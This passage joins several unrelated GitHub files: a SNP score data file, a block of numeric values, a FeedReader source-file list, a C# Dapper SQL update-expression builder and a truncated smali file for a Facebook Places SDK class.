10000.000 rs310 3.310 A G 10000.000 rs311 0.553 A G 10000.000 rs312 0.386 A G 10000.000 rs313 -0.044 A G 10000.000 rs314 -1.758 A G 10000.000 rs315 -0.957 A G 10000.000 rs316 3.897 A G 10000.000 rs317 -0.817 A G 10000.000 rs318 1.873 A G 10000.000 rs319 -1.265 A G 10000.000 rs320 1.731 A G 10000.000 rs321 0.121 A G 10000.000 rs322 0.566 A G 10000.000 rs323 1.102 A G 10000.000 rs324 1.822 A G 10000.000 rs325 -3.921 A G 10000.000 rs326 -0.797 A G 10000.000 rs327 -5.502 A G 10000.000 rs328 -2.504 A G 10000.000 rs329 0.314 A G 10000.000 rs330 -2.297 A G 10000.000 rs331 7.930 A G 10000.000 rs332 -8.522 A G 10000.000 rs333 6.094 A G 10000.000 rs334 4.713 A G 10000.000 rs335 -0.700 A G 10000.000 rs336 2.870 A G 10000.000 rs337 2.430 A G 10000.000 rs338 -1.157 A G 10000.000 rs339 -1.069 A G 10000.000 rs340 1.276 A G 10000.000 rs341 4.673 A G 10000.000 rs342 -0.573 A G 10000.000 rs343 3.649 A G 10000.000 rs344 -2.510 A G 10000.000 rs345 2.411 A G 10000.000 rs346 -2.806 A G 10000.000 rs347 4.195 A G 10000.000 rs348 -1.034 A G 10000.000 rs349 -3.886 A G 10000.000 rs350 -1.138 A G 10000.000 rs351 0.336 A G 10000.000 rs352 2.595 A G 10000.000 rs353 -0.909 A G 10000.000 rs354 -0.579 A G 10000.000 rs355 -4.340 A G 10000.000 rs356 0.578 A G 10000.000 rs357 1.061 A G 10000.000 rs358 -2.996 A G 10000.000 rs359 1.481 A G 10000.000 rs360 2.427 A G 10000.000 rs361 -5.378 A G 10000.000 rs362 2.149 A G 10000.000 rs363 -0.978 A G 10000.000 rs364 4.442 A G 10000.000 rs365 -1.151 A G 10000.000 rs366 -3.216 A G 10000.000 rs367 -0.548 A G 10000.000 rs368 1.663 A G 10000.000 rs369 0.475 A G 10000.000 rs370 1.671 A G 10000.000 rs371 -0.607 A G 10000.000 rs372 -0.068 A G 10000.000 rs373 1.375 A G 10000.000 rs374 -1.794 A G 10000.000 rs375 -1.691 A G 10000.000 rs376 -5.379 A G 10000.000 rs377 2.504 A G 10000.000 rs378 3.158 A G 10000.000 rs379 -1.477 A G 10000.000 rs380 0.665 A G 10000.000 rs381 4.218 A G 10000.000 rs382 -3.549 A G 10000.000 rs383 2.397 A G 10000.000 rs384 -0.063 A G 10000.000 rs385 -0.933 A G 10000.000 rs386 -9.823 A G 10000.000 rs387 2.896 A G 10000.000 rs388 -5.583 A G 10000.000 rs389 1.504 A G 10000.000 rs390 10.369 A G 10000.000 rs391 -5.675 A G 10000.000 rs392 1.208 A G 10000.000 rs393 1.184 A G 10000.000 rs394 -6.529 A G 10000.000 rs395 2.327 A G 10000.000 rs396 0.807 A G 10000.000 rs397 -0.543 A G 10000.000 rs398 -0.582 A G 10000.000 rs399 1.999 A G 10000.000 rs400 -2.847 A G 10000.000 rs401 -8.887 A G 10000.000 rs402 -1.119 A G 10000.000 rs403 3.565 A G 10000.000 rs404 0.339 A G 10000.000 rs405 0.066 A G 10000.000 rs406 0.380 A G 10000.000 rs407 3.107 A G 10000.000 rs408 0.818 A G 10000.000 rs409 -1.632 A G 10000.000 rs410 3.024 A G 10000.000 rs411 0.178 A G 10000.000 rs412 0.186 A G 10000.000 rs413 -1.292 A G 10000.000 rs414 -2.956 A G 10000.000 rs415 0.423 A G 10000.000 rs416 2.145 A G 10000.000 rs417 -2.723 A G 10000.000 rs418 3.427 A G 10000.000 rs419 1.666 A G 10000.000 rs420 0.646 A G 10000.000 rs421 4.363 A G 10000.000 rs422 0.300 A G 10000.000 rs423 2.549 A G 10000.000 rs424 1.123 A G 10000.000 rs425 5.428 A G 10000.000 rs426 1.465 A G 10000.000 rs427 -0.753 A G 10000.000 rs428 -2.897 A G 10000.000 rs429 -1.671 A G 10000.000 rs430 -5.521 A G 10000.000 rs431 -4.447 A G 10000.000 rs432 4.397 A G 10000.000 rs433 -1.034 A G 10000.000 rs434 9.121 A G 10000.000 rs435 -0.342 A G 10000.000 rs436 3.039 A G 10000.000 rs437 3.350 A G 10000.000 rs438 1.286 A G 10000.000 rs439 -0.155 A G 10000.000 rs440 5.119 A G 10000.000 rs441 4.285 A G 10000.000 rs442 0.923 A G 10000.000 rs443 1.716 A G 10000.000 rs444 2.091 A G 10000.000 rs445 1.322 A G 10000.000 rs446 -1.475 A G 10000.000 rs447 -0.728 A G 10000.000 rs448 3.300 A G 10000.000 rs449 -2.437 A G 10000.000 rs450 1.697 A G 10000.000 rs451 3.288 A G 10000.000 rs452 4.406 A G 10000.000 rs453 1.859 A G 10000.000 rs454 -4.010 A G 10000.000 rs455 -0.770 A G 10000.000 rs456 -3.225 A G 10000.000 rs457 1.450 A G 10000.000 rs458 1.121 A G 10000.000 rs459 -0.005 A G 10000.000 rs460 2.072 A G 10000.000 rs461 -4.449 A G 10000.000 rs462 7.866 A G 10000.000 rs463 0.490 A G 10000.000 rs464 -1.393 A G 10000.000 rs465 -4.065 A G 10000.000 rs466 0.888 A G 10000.000 rs467 -5.200 A G 10000.000 rs468 -2.331 A G 10000.000 rs469 -2.707 A G 10000.000 rs470 -0.788 A G 10000.000 rs471 4.417 A G 10000.000 rs472 -2.074 A G 10000.000 rs473 -1.681 A G 10000.000 rs474 -2.177 A G 10000.000 rs475 1.030 A G 10000.000 rs476 -0.200 A G 10000.000 rs477 -0.906 A G 10000.000 rs478 -3.987 A G 10000.000 rs479 -0.544 A G 10000.000 rs480 -0.081 A G 10000.000 rs481 1.354 A G 10000.000 rs482 1.404 A G 10000.000 rs483 -4.517 A G 10000.000 rs484 2.688 A G 10000.000 rs485 -0.574 A G 10000.000 rs486 -2.911 A G 10000.000 rs487 3.735 A G 10000.000 rs488 -2.368 A G 10000.000 rs489 -3.419 A G 10000.000 rs490 -0.672 A G 10000.000 rs491 0.252 A G 10000.000 rs492 2.690 A G 10000.000 rs493 -1.013 A G 10000.000 rs494 5.332 A G 10000.000 rs495 2.274 A G 10000.000 rs496 -3.258 A G 10000.000 rs497 -3.468 A G 10000.000 rs498 2.257 A G 10000.000 rs499 2.876 A G 10000.000 rs500 2.341 A G 10000.000 rs501 6.860 A G 10000.000 rs502 -1.149 A G 10000.000 rs503 -2.582 A G 10000.000 rs504 -0.600 A G 10000.000 rs505 -3.370 A G 10000.000 rs506 1.711 A G 10000.000 rs507 -2.365 A G 10000.000 rs508 2.509 A G 10000.000 rs509 -1.235 A G 10000.000 rs510 -1.050 A G 10000.000 rs511 -0.508 A G 10000.000 rs512 -0.266 A G 10000.000 rs513 4.336 A G 10000.000 rs514 0.282 A G 10000.000 rs515 3.774 A G 10000.000 rs516 0.050 A G 10000.000 rs517 2.100 A G 10000.000 rs518 5.576 A G 10000.000 rs519 -3.131 A G 10000.000 rs520 -0.643 A G 10000.000 rs521 9.303 A G 10000.000 rs522 1.600 A G 10000.000 rs523 -6.105 A G 10000.000 rs524 1.464 A G 10000.000 rs525 0.891 A G 10000.000 rs526 4.021 A G 10000.000 rs527 0.439 A G 10000.000 rs528 4.386 A G 10000.000 rs529 -0.642 A G 10000.000 rs530 -1.934 A G 10000.000 rs531 2.634 A G 10000.000 rs532 2.478 A G 10000.000 rs533 -4.009 A G 10000.000 rs534 5.308 A G 10000.000 rs535 -0.758 A G 10000.000 rs536 0.026 A G 10000.000 rs537 -1.859 A G 10000.000 rs538 -1.036 A G 10000.000 rs539 -1.394 A G 10000.000 rs540 1.397 A G 10000.000 rs541 -3.197 A G 10000.000 rs542 -7.230 A G 10000.000 rs543 0.515 A G 10000.000 rs544 -3.274 A G 10000.000 rs545 -2.714 A G 10000.000 rs546 4.276 A G 10000.000 rs547 -2.327 A G 10000.000 rs548 -2.716 A G 10000.000 rs549 -5.098 A G 10000.000 rs550 0.624 A G 10000.000 rs551 7.659 A G 10000.000 rs552 -1.955 A G 10000.000 rs553 -4.515 A G 10000.000 rs554 -4.162 A G 10000.000 rs555 3.454 A G 10000.000 rs556 -2.352 A G 10000.000 rs557 -1.233 A G 10000.000 rs558 1.487 A G 10000.000 rs559 1.889 A G 10000.000 rs560 -1.783 A G 10000.000 rs561 -1.079 A G 10000.000 rs562 2.577 A G 10000.000 rs563 0.746 A G 10000.000 rs564 3.342 A G 10000.000 rs565 0.032 A G 10000.000 rs566 0.343 A G 10000.000 rs567 -9.042 A G 10000.000 rs568 4.537 A G 10000.000 rs569 -2.645 A G 10000.000 rs570 0.336 A G 10000.000 rs571 -0.803 A G 10000.000 rs572 -5.454 A G 10000.000 rs573 -0.804 A G 10000.000 rs574 -7.048 A G 10000.000 rs575 3.035 A G 10000.000 rs576 -2.130 A G 10000.000 rs577 -1.388 A G 10000.000 rs578 5.687 A G 10000.000 rs579 -2.383 A G 10000.000 rs580 3.359 A G 10000.000 rs581 1.067 A G 10000.000 rs582 -0.753 A G 10000.000 rs583 1.718 A G 10000.000 rs584 1.688 A G 10000.000 rs585 -1.212 A G 10000.000 rs586 4.499 A G 10000.000 rs587 6.733 A G 10000.000 rs588 0.370 A G 10000.000 rs589 -0.400 A G 10000.000 rs590 -1.905 A G 10000.000 rs591 -2.354 A G 10000.000 rs592 1.934 A G 10000.000 rs593 7.556 A G 10000.000 rs594 -0.901 A G 10000.000 rs595 0.574 A G 10000.000 rs596 -2.218 A G 10000.000 rs597 1.073 A G 10000.000 rs598 3.421 A G 10000.000 rs599 -0.705 A G 10000.000 rs600 0.385 A G 10000.000 rs601 2.128 A G 10000.000 rs602 -1.526 A G 10000.000 rs603 -0.825 A G 10000.000 rs604 -0.330 A G 10000.000 rs605 -0.371 A G 10000.000 rs606 0.076 A G 10000.000 rs607 -1.675 A G 10000.000 rs608 -2.332 A G 10000.000 rs609 0.294 A G 10000.000 rs610 5.271 A G 10000.000 rs611 -4.465 A G 10000.000 rs612 -0.518 A G 10000.000 rs613 0.584 A G 10000.000 rs614 0.845 A G 10000.000 rs615 -4.725 A G 10000.000 rs616 -0.272 A G 10000.000 rs617 -0.315 A G 10000.000 rs618 0.386 A G 10000.000 rs619 0.410 A G 10000.000 rs620 3.734 A G 10000.000 rs621 -2.548 A G 10000.000 rs622 0.945 A G 10000.000 rs623 5.629 A G 10000.000 rs624 0.823 A G 10000.000 rs625 4.663 A G 10000.000 rs626 -1.073 A G 10000.000 rs627 -2.999 A G 10000.000 rs628 -2.421 A G 10000.000 rs629 4.086 A G 10000.000 rs630 0.107 A G 10000.000 rs631 -1.082 A G 10000.000 rs632 -1.521 A G 10000.000 rs633 -0.621 A G 10000.000 rs634 -1.400 A G 10000.000 rs635 7.517 A G 10000.000 rs636 1.517 A G 10000.000 rs637 -0.375 A G 10000.000 rs638 0.290 A G 10000.000 rs639 -1.014 A G 10000.000 rs640 2.742 A G 10000.000 rs641 3.301 A G 10000.000 rs642 -2.901 A G 10000.000 rs643 -2.113 A G 10000.000 rs644 6.412 A G 10000.000 rs645 1.534 A G 10000.000 rs646 3.630 A G 10000.000 rs647 0.598 A G 10000.000 rs648 -8.888 A G 10000.000 rs649 5.238 A G 10000.000 rs650 -0.718 A G 10000.000 rs651 0.092 A G 10000.000 rs652 -1.886 A G 10000.000 rs653 4.234 A G 10000.000 rs654 -0.589 A G 10000.000 rs655 -2.732 A G 10000.000 rs656 -2.354 A G 10000.000 rs657 -6.362 A G 10000.000 rs658 -3.075 A G 10000.000 rs659 -9.936 A G 10000.000 rs660 -2.117 A G 10000.000 rs661 -1.544 A G 10000.000 rs662 0.733 A G 10000.000 rs663 3.880 A G 10000.000 rs664 -1.887 A G 10000.000 rs665 -0.234 A G 10000.000 rs666 -1.800 A G 10000.000 rs667 -1.305 A G 10000.000 rs668 -0.476 A G 10000.000 rs669 -1.466 A G 10000.000 rs670 1.156 A G 10000.000 rs671 1.364 A G 10000.000 rs672 -0.979 A G 10000.000 rs673 1.717 A G 10000.000 rs674 -0.410 A G 10000.000 rs675 3.053 A G 10000.000 rs676 3.508 A G 10000.000 rs677 1.436 A G 10000.000 rs678 -2.315 A G 10000.000 rs679 -1.236 A G 10000.000 rs680 -6.827 A G 10000.000 rs681 0.601 A G 10000.000 rs682 0.293 A G 10000.000 rs683 -1.635 A G 10000.000 rs684 -4.856 A G 10000.000 rs685 -0.071 A G 10000.000 rs686 -3.132 A G 10000.000 rs687 -2.006 A G 10000.000 rs688 -0.224 A G 10000.000 rs689 5.077 A G 10000.000 rs690 -1.584 A G 10000.000 rs691 -2.517 A G 10000.000 rs692 2.165 A G 10000.000 rs693 2.764 A G 10000.000 rs694 0.760 A G 10000.000 rs695 1.794 A G 10000.000 rs696 0.816 A G 10000.000 rs697 -1.461 A G 10000.000 rs698 -1.822 A G 10000.000 rs699 -2.711 A G 10000.000 rs700 -0.565 A G 10000.000 rs701 0.907 A G 10000.000 rs702 1.404 A G 10000.000 rs703 -2.039 A G 10000.000 rs704 2.679 A G 10000.000 rs705 -0.102 A G 10000.000 rs706 0.665 A G 10000.000 rs707 -2.315 A G 10000.000 rs708 -9.829 A G 10000.000 rs709 1.787 A G 10000.000 rs710 1.397 A G 10000.000 rs711 -8.367 A G 10000.000 rs712 -0.555 A G 10000.000 rs713 -5.309 A G 10000.000 rs714 -0.712 A G 10000.000 rs715 -0.987 A G 10000.000 rs716 1.587 A G 10000.000 rs717 -0.730 A G 10000.000 rs718 -0.776 A G 10000.000 rs719 -4.073 A G 10000.000 rs720 -4.842 A G 10000.000 rs721 -4.489 A G 10000.000 rs722 4.040 A G 10000.000 rs723 -0.588 A G 10000.000 rs724 1.619 A G 10000.000 rs725 2.842 A G 10000.000 rs726 -6.572 A G 10000.000 rs727 -1.757 A G 10000.000 rs728 -6.210 A G 10000.000 rs729 -3.151 A G 10000.000 rs730 -0.794 A G 10000.000 rs731 5.359 A G 10000.000 rs732 0.755 A G 10000.000 rs733 3.298 A G 10000.000 rs734 -4.965 A G 10000.000 rs735 -2.073 A G 10000.000 rs736 -0.081 A G 10000.000 rs737 3.349 A G 10000.000 rs738 -1.528 A G 10000.000 rs739 -1.347 A G 10000.000 rs740 -2.685 A G 10000.000 rs741 0.064 A G 10000.000 rs742 -1.614 A G 10000.000 rs743 -1.047 A G 10000.000 rs744 1.982 A G 10000.000 rs745 -0.129 A G 10000.000 rs746 1.673 A G 10000.000 rs747 8.786 A G 10000.000 rs748 -1.565 A G 10000.000 rs749 -1.895 A G 10000.000 rs750 1.643 A G 10000.000 rs751 7.037 A G 10000.000 rs752 4.711 A G 10000.000 rs753 -7.007 A G 10000.000 rs754 -0.240 A G 10000.000 rs755 0.921 A G 10000.000 rs756 0.579 A G 10000.000 rs757 -2.084 A G 10000.000 rs758 -0.870 A G 10000.000 rs759 0.955 A G 10000.000 rs760 0.022 A G 10000.000 rs761 -0.392 A G 10000.000 rs762 0.017 A G 10000.000 rs763 -1.030 A G 10000.000 rs764 2.368 A G 10000.000 rs765 -0.728 A G 10000.000 rs766 0.778 A G 10000.000 rs767 1.632 A G 10000.000 rs768 -7.604 A G 10000.000 rs769 2.442 A G 10000.000 rs770 1.560 A G 10000.000 rs771 3.142 A G 10000.000 rs772 -0.372 A G 10000.000 rs773 -0.349 A G 10000.000 rs774 -0.964 A G 10000.000 rs775 -0.676 A G 10000.000 rs776 3.068 A G 10000.000 rs777 -0.198 A G 10000.000 rs778 5.343 A G 10000.000 rs779 -0.479 A G 10000.000 rs780 -2.471 A G 10000.000 rs781 0.357 A G 10000.000 rs782 -2.945 A G 10000.000 rs783 -1.865 A G 10000.000 rs784 -3.249 A G 10000.000 rs785 3.243 A G 10000.000 rs786 -4.653 A G 10000.000 rs787 0.354 A G 10000.000 rs788 -3.539 A G 10000.000 rs789 -0.750 A G 10000.000 rs790 -4.563 A G 10000.000 rs791 -0.935 A G 10000.000 rs792 -5.238 A G 10000.000 rs793 -3.120 A G 10000.000 rs794 0.737 A G 10000.000 rs795 5.296 A G 10000.000 rs796 -2.552 A G 10000.000 rs797 -1.754 A G 10000.000 rs798 -0.632 A G 10000.000 rs799 1.225 A G 10000.000 rs800 -2.032 A G 10000.000 rs801 -1.819 A G 10000.000 rs802 2.677 A G 10000.000 rs803 -1.004 A G 10000.000 rs804 -1.329 A G 10000.000 rs805 5.277 A G 10000.000 rs806 0.774 A G 10000.000 rs807 3.945 A G 10000.000 rs808 1.871 A G 10000.000 rs809 7.214 A G 10000.000 rs810 -6.271 A G 10000.000 rs811 -1.890 A G 10000.000 rs812 1.293 A G 10000.000 rs813 5.250 A G 10000.000 rs814 0.658 A G 10000.000 rs815 -6.139 A G 10000.000 rs816 0.592 A G 10000.000 rs817 1.111 A G 10000.000 rs818 -0.757 A G 10000.000 rs819 -4.253 A G 10000.000 rs820 -0.500 A G 10000.000 rs821 -4.645 A G 10000.000 rs822 3.552 A G 10000.000 rs823 -2.229 A G 10000.000 rs824 1.884 A G 10000.000 rs825 0.991 A G 10000.000 rs826 1.733 A G 10000.000 rs827 0.136 A G 10000.000 rs828 1.240 A G 10000.000 rs829 -0.406 A G 10000.000 rs830 3.353 A G 10000.000 rs831 -0.336 A G 10000.000 rs832 7.275 A G 10000.000 rs833 4.328 A G 10000.000 rs834 -2.106 A G 10000.000 rs835 3.530 A G 10000.000 rs836 -2.636 A G 10000.000 rs837 -3.276 A G 10000.000 rs838 1.529 A G 10000.000 rs839 1.907 A G 10000.000 rs840 -4.718 A G 10000.000 rs841 -0.951 A G 10000.000 rs842 -7.964 A G 10000.000 rs843 0.222 A G 10000.000 rs844 1.892 A G 10000.000 rs845 -0.959 A G 10000.000 rs846 2.418 A G 10000.000 rs847 1.598 A G 10000.000 rs848 -1.195 A G 10000.000 rs849 -5.499 A G 10000.000 rs850 0.354 A G 10000.000 rs851 -1.197 A G 10000.000 rs852 -2.286 A G 10000.000 rs853 0.602 A G 10000.000 rs854 -4.025 A G 10000.000 rs855 -5.017 A G 10000.000 rs856 -0.602 A G 10000.000 rs857 -0.326 A G 10000.000 rs858 1.174 A G 10000.000 rs859 3.075 A G 10000.000 rs860 -1.614 A G 10000.000 rs861 -0.464 A G 10000.000 rs862 2.894 A G 10000.000 rs863 -4.730 A G 10000.000 rs864 -4.436 A G 10000.000 rs865 -3.793 A G 10000.000 rs866 5.423 A G 10000.000 rs867 -1.802 A G 10000.000 rs868 -0.522 A G 10000.000 rs869 2.880 A G 10000.000 rs870 -2.499 A G 10000.000 rs871 -2.913 A G 10000.000 rs872 2.592 A G 10000.000 rs873 0.239 A G 10000.000 rs874 -0.518 A G 10000.000 rs875 -0.682 A G 10000.000 rs876 1.675 A G 10000.000 rs877 1.926 A G 10000.000 rs878 1.947 A G 10000.000 rs879 0.181 A G 10000.000 rs880 -2.636 A G 10000.000 rs881 -2.731 A G 10000.000 rs882 0.853 A G 10000.000 rs883 1.134 A G 10000.000 rs884 -3.197 A G 10000.000 rs885 2.308 A G 10000.000 rs886 0.663 A G 10000.000 rs887 -2.155 A G 10000.000 rs888 -0.465 A G 10000.000 rs889 6.553 A G 10000.000 rs890 -2.981 A G 10000.000 rs891 -0.234 A G 10000.000 rs892 -0.155 A G 10000.000 rs893 -1.922 A G 10000.000 rs894 -2.458 A G 10000.000 rs895 4.058 A G 10000.000 rs896 0.319 A G 10000.000 rs897 -1.728 A G 10000.000 rs898 6.616 A G 10000.000 rs899 1.655 A G 10000.000 rs900 -3.101 A G 10000.000 rs901 2.551 A G 10000.000 rs902 0.434 A G 10000.000 rs903 -3.469 A G 10000.000 rs904 4.991 A G 10000.000 rs905 0.368 A G 10000.000 rs906 5.617 A G 10000.000 rs907 2.891 A G 10000.000 rs908 3.177 A G 10000.000 rs909 1.063 A G 10000.000 rs910 -2.739 A G 10000.000 rs911 5.178 A G 10000.000 rs912 0.104 A G 10000.000 rs913 -3.123 A G 10000.000 rs914 -2.854 A G 10000.000 rs915 -0.169 A G 10000.000 rs916 5.959 A G 10000.000 rs917 0.726 A G 10000.000 rs918 4.471 A G 10000.000 rs919 0.149 A G 10000.000 rs920 -4.183 A G 10000.000 rs921 -1.025 A G 10000.000 rs922 -3.291 A G 10000.000 rs923 0.543 A G 10000.000 rs924 3.941 A G 10000.000 rs925 -1.786 A G 10000.000 rs926 -5.507 A G 10000.000 rs927 2.852 A G 10000.000 rs928 3.243 A G 10000.000 rs929 -2.661 A G 10000.000 rs930 -7.173 A G 10000.000 rs931 1.485 A G 10000.000 rs932 0.724 A G 10000.000 rs933 -3.236 A G 10000.000 rs934 2.272 A G 10000.000 rs935 7.529 A G 10000.000 rs936 -6.448 A G 10000.000 rs937 2.821 A G 10000.000 rs938 0.258 A G 10000.000 rs939 -3.801 A G 10000.000 rs940 3.151 A G 10000.000 rs941 0.603 A G 10000.000 rs942 -2.392 A G 10000.000 rs943 -1.949 A G 10000.000 rs944 4.905 A G 10000.000 rs945 0.325 A G 10000.000 rs946 -2.815 A G 10000.000 rs947 1.096 A G 10000.000 rs948 1.085 A G 10000.000 rs949 -2.281 A G 10000.000 rs950 10.773 A G 10000.000 rs951 -2.598 A G 10000.000 rs952 2.638 A G 10000.000 rs953 3.117 A G 10000.000 rs954 3.469 A G 10000.000 rs955 -0.628 A G 10000.000 rs956 -6.134 A G 10000.000 rs957 -2.787 A G 10000.000 rs958 3.361 A G 10000.000 rs959 -4.634 A G 10000.000 rs960 -2.453 A G 10000.000 rs961 1.783 A G 10000.000 rs962 -2.900 A G 10000.000 rs963 0.593 A G 10000.000 rs964 2.187 A G 10000.000 rs965 1.010 A G 10000.000 rs966 -1.946 A G 10000.000 rs967 -0.444 A G 10000.000 rs968 2.083 A G 10000.000 rs969 2.122 A G 10000.000 rs970 0.297 A G 10000.000 rs971 4.082 A G 10000.000 rs972 0.987 A G 10000.000 rs973 0.079 A G 10000.000 rs974 1.102 A G 10000.000 rs975 -1.347 A G 10000.000 rs976 2.394 A G 10000.000 rs977 -6.399 A G 10000.000 rs978 -1.147 A G 10000.000 rs979 2.409 A G 10000.000 rs980 0.553 A G 10000.000 rs981 -4.048 A G 10000.000 rs982 -1.423 A G 10000.000 rs983 -2.401 A G 10000.000 rs984 2.984 A G 10000.000 rs985 0.475 A G 10000.000 rs986 -0.503 A G 10000.000 rs987 -0.099 A G 10000.000 rs988 -0.375 A G 10000.000 rs989 7.293 A G 10000.000 rs990 -2.611 A G 10000.000 rs991 -1.224 A G 10000.000 rs992 1.431 A G 10000.000 rs993 -4.165 A G 10000.000 rs994 0.873 A G 10000.000 rs995 -1.591 A G 10000.000 rs996 -1.823 A G 10000.000 rs997 2.239 A G 10000.000 rs998 -2.751 A G 10000.000 rs999 -0.863
{ "pile_set_name": "Github" }
0.020144 0.001192 0.003173 0.000041 0.000711 0.002487 0.000619 0.028830 0.000037 0.000552 0.002492 0.040996 0.003131 0.000692 0.029309 0.042222 0.085132 0.000021 0.000585 0.001467 0.024595 0.015337 0.010084 0.002469 0.000507 0.025139 0.020442 0.050762 0.008503 0.012916 0.000032 0.000669 0.001783 0.030968 0.014635 0.010091 0.000924 0.000569 0.027473 0.021051 0.061298 0.008837 0.013303 0.002111 0.041362 0.012288 0.008798 0.001156 0.039003 0.095450 0.009897 0.015582 0.012666 0.008803 0.000848 0.008264 0.014231 0.001440 0.101881 0.293369 0.005098 0.050427 0.000154 0.007474 0.000896 0.000231 0.012627 0.000142 0.000165 0.001146 0.026108 0.058964 0.006181 0.006045 0.015806 0.031810 0.000145 0.009383 0.003397 0.002616 0.004340 0.002490 0.000901 0.000216 0.011794 0.004713 0.004757 0.006701 0.003757 0.000140 0.005300 0.002742 0.005660 0.009997 0.003764 0.011261 0.000192 0.006973 0.003790 0.008752 0.015527 0.005616 0.001007 0.014953 0.004807 0.010563 0.058279 0.024229 0.030567 0.003143 0.004668 0.008856 0.003571 0.009550 0.011856 0.004198 0.048254 0.109932 0.252756 0.005561 0.000947 0.000172 0.000280 0.054430 0.009715 0.013541 0.000160 0.009094 0.005907 0.008512 0.001038 0.000243 0.010075 0.008626 0.016169 0.000174 0.000287 0.000951 0.016160 0.008219 0.015713 0.055406 0.011996 0.014436 0.019135 0.024176 0.002721 0.004225 0.000135 0.000248 0.001032 0.021391 0.011405 0.018745 0.058950 0.009285 0.011205 0.017017 0.023585 0.002788 0.004420 0.007453 0.008198 0.009745 0.002687 0.008180 0.008273 0.010804 0.013610 0.003735 0.009573 0.012975 0.048629 0.003276 0.003774 0.008122 0.089933
{ "pile_set_name": "Github" }
data/org.gnome.FeedReader-autostart.desktop.in data/org.gnome.FeedReader.appdata.xml.in data/org.gnome.FeedReader.desktop.in plugins/backend/bazqux/bazquxInterface.vala plugins/backend/feedbin/feedbinInterface.vala plugins/backend/feedhq/feedhqInterface.vala plugins/backend/fresh/freshInterface.vala plugins/backend/local/localInterface.vala plugins/backend/local/localUtils.vala plugins/backend/oldreader/oldreaderInterface.vala plugins/backend/owncloud/OwncloudNewsInterface.vala plugins/backend/ttrss/ttrssAPI.vala plugins/backend/ttrss/ttrssInterface.vala plugins/share/Browser/Browser.vala plugins/share/Email/EmailForm.vala plugins/share/Instapaper/InstapaperSetup.vala plugins/share/Pocket/PocketSetup.vala plugins/share/Telegram/Telegram.vala plugins/share/Telegram/TelegramForm.vala plugins/share/Telegram/TelegramSetup.vala plugins/share/Twitter/TwitterForm.vala plugins/share/Twitter/TwitterSetup.vala plugins/share/Wallabag/WallabagSetup.vala src/Backend/FeedServer.vala src/Constants.vala.in src/DataBaseReadOnly.vala src/FeedReader.vala src/Model/Article.vala src/Notification.vala src/Share/ServiceSetup.vala src/Utils.vala src/Widgets/AddPopover.vala src/Widgets/ArticleList/ArticleList.vala src/Widgets/ArticleList/ArticleListEmptyLabel.vala src/Widgets/ArticleView.vala src/Widgets/ArticleViewHeader.vala src/Widgets/CategorieRow.vala src/Widgets/ColumnViewHeader.vala src/Widgets/FeedList.vala src/Widgets/FeedListFooter.vala src/Widgets/FeedRow.vala src/Widgets/FullscreenHeader.vala src/Widgets/LoginPage.vala src/Widgets/MainWindow.vala src/Widgets/MediaButton.vala src/Widgets/RemovePopover.vala src/Widgets/ResetPage.vala src/Widgets/SettingsDialog.vala src/Widgets/SharePopover.vala src/Widgets/ShortcutsWindow.vala src/Widgets/SpringCleanPage.vala src/Widgets/TagPopover.vala src/Widgets/TagRow.vala src/Widgets/UpdateButton.vala
{ "pile_set_name": "Github" }
using System.Linq; using System.Linq.Expressions; using System.Text; using Dapper; using Kogel.Dapper.Extension.Model; using Kogel.Dapper.Extension.Core.Interfaces; using Kogel.Dapper.Extension; using Kogel.Dapper.Extension.Extension; using System; namespace Kogel.Dapper.Extension.Expressions { public sealed class UpdateExpression : BaseExpressionVisitor { #region sql指令 private readonly StringBuilder _sqlCmd; /// <summary> /// sql指令 /// </summary> public string SqlCmd => _sqlCmd.ToString(); public new DynamicParameters Param; #endregion /// <inheritdoc /> /// <summary> /// 执行解析 /// </summary> /// <param name="expression"></param> /// <returns></returns> public UpdateExpression(LambdaExpression expression, SqlProvider provider) : base(provider) { this._sqlCmd = new StringBuilder(100); this.Param = new DynamicParameters(); //update不需要重命名 providerOption.IsAsName = false; if (expression.Body is MemberInitExpression) { var memberInitExpression = expression.Body as MemberInitExpression; foreach (MemberAssignment memberInit in memberInitExpression.Bindings) { base.SpliceField.Clear(); base.Param = new DynamicParameters(); if (_sqlCmd.Length != 0) _sqlCmd.Append(","); //实体类型 Type entityType; //验证是实体类或者是泛型 if (ExpressionExtension.IsAnyBaseEntity(memberInit.Expression.Type, out entityType)) { //throw new DapperExtensionException("更新操作不支持导航属性写入"); Console.WriteLine("警告:更新操作不支持导航属性写入!"); } else { //值对象 Visit(memberInit.Expression); _sqlCmd.Append($" {provider.ProviderOption.CombineFieldName(memberInit.Member.Name)} = {base.SpliceField} "); Param.AddDynamicParams(base.Param); } base.Index++; } } else//匿名类 { throw new DapperExtensionException("更新操作不支持匿名类写入"); } _sqlCmd.Insert(0, " SET "); } } }
{ "pile_set_name": "Github" }
.class public final Lcom/facebook/places/model/PlaceSearchRequestParams; .super Ljava/lang/Object; # instance fields .field private final categories:Ljava/util/Set; .annotation system Ldalvik/annotation/Signature; value = { "Ljava/util/Set", "<", "Ljava/lang/String;", ">;" } .end annotation .end field .field private final distance:I .field private final fields:Ljava/util/Set; .annotation system Ldalvik/annotation/Signature; value = { "Ljava/util/Set", "<", "Ljava/lang/String;", ">;" } .end annotation .end field .field private final limit:I .field private final searchText:Ljava/lang/String; # direct methods .method private constructor <init>(Lcom/facebook/places/model/PlaceSearchRequestParams$Builder;)V .locals 2 invoke-direct {p0}, Ljava/lang/Object;-><init>()V new-instance v0, Ljava/util/HashSet; invoke-direct {v0}, Ljava/util/HashSet;-><init>()V iput-object v0, p0, Lcom/facebook/places/model/PlaceSearchRequestParams;->categories:Ljava/util/Set; new-instance v0, Ljava/util/HashSet; invoke-direct {v0}, Ljava/util/HashSet;-><init>()V iput-object v0, p0, Lcom/facebook/places/model/PlaceSearchRequestParams;->fields:Ljava/util/Set; invoke-static {p1}, Lcom/facebook/places/model/PlaceSearchRequestParams$Builder;->access$000(Lcom/facebook/places/model/PlaceSearchRequestParams$Builder;)I move-result v0 iput v0, p0, Lcom/facebook/places/model/PlaceSearchRequestParams;->distance:I invoke-static {p1}, Lcom/facebook/places/model/PlaceSearchRequestParams$Builder;->access$100(Lcom/facebook/places/model/PlaceSearchRequestParams$Builder;)I move-result v0 iput v0, p0, Lcom/facebook/places/model/PlaceSearchRequestParams;->limit:I invoke-static {p1}, Lcom/facebook/places/model/PlaceSearchRequestParams$Builder;->access$200(Lcom/facebook/places/model/PlaceSearchRequestParams$Builder;)Ljava/lang/String; move-result-object v0 iput-object v0, p0, Lcom/facebook/places/model/PlaceSearchRequestParams;->searchText:Ljava/lang/String; iget-object v0, 